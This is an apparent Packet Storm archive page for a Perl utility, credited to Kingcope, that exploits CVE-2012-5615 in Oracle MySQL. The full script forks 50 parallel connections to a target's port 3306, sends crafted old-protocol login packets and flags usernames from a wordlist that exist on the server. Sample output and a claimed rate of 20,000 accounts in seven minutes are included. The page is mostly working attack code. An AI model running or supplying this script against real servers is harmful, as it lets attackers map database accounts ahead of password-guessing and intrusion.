exploit the possibilities

Oracle MySQL User Account Enumeration Utility

Oracle MySQL User Account Enumeration Utility
Posted Dec 3, 2012
Authored by Kingcope

Oracle MySQL suffers from a user enumeration vulnerability. This is a utility that demonstrates the issue.

tags | exploit
advisories | CVE-2012-5615
MD5 | 1f1d8075312eddb4eecfd8556cb24014

Oracle MySQL User Account Enumeration Utility

Change Mirror Download
# MySQL User Account Enumeration Utility
# When an attacker authenticates using an incorrect password
# with the old authentication mechanism from mysql 4.x and below to a mysql 5.x server
# the mysql server will respond with a different message than Access Denied, what makes
# User Account Enumeration possible.
# The Downside is that the attacker has to reconnect for each user enumeration attempt
#20000 user accounts in 7 minutes
#Mon Jan 16 09:00:18 UTC 2012
#Mon Jan 16 09:07:26 UTC 2012
#root@vs2067037:~# wc -l MEDIUM.LST
#21109 MEDIUM.LST
#A usernames.txt wordlist is included in this package
#examples:
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt
#
#[*] HIT! -- USER EXISTS: administrator@host
#
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt
#
#[*] HIT! -- USER EXISTS: admin@host
#

use IO::Socket;
use Parallel::ForkManager;
$|=1;

if ($#ARGV != 1) {
print "Usage: mysqlenumerate.pl <target> <wordlist>\n";
exit;
}

$target = $ARGV[0];
$wordlist = $ARGV[1];
$numforks = 50;
$pm = new Parallel::ForkManager($numforks);

open FILE,"<$wordlist";
unlink '/tmp/cracked';

@users = ();
$k=0;
while(<FILE>) {
chomp;
$_ =~ s/\r//g;
$users[$k++] = $_;
}
close FILE;
$k2 = 0;
for(;;) {
for ($k=0;$k<$numforks;$k++) {
$k2++;
if (($k2 > $#users) or (-e '/tmp/cracked')) {
exit;
}
my $pid = $pm->start and next;
$user = $users[$k2];
goto further;
again:
print "Connect Error\n";
further:
my $sock = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => '3306',
Proto => 'tcp') || goto again;
recv($sock, $buff, 1024, 0);

$buf = "\x00\x00\x01\x8d\x00\x00\x00\x00$user\x00\x50".
"\x4e\x5f\x51\x55\x45\x4d\x45\x00";
$buf = chr(length($buf)-3). $buf;
print $sock $buf;
$res = recv($sock, $buff, 1024, 0);
close($sock);
if ($k2 % 100 == 0) {
print $buff."\n";
}
if (substr($buff, 7, 6) eq "Access") {$pm->finish;next;}
unless (-e '/tmp/cracked') {
open FILE, ">/tmp/cracked";
close FILE;
print "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
open FILE, ">jackpot";
print FILE "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
exit;
}
}
$pm->wait_all_children;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close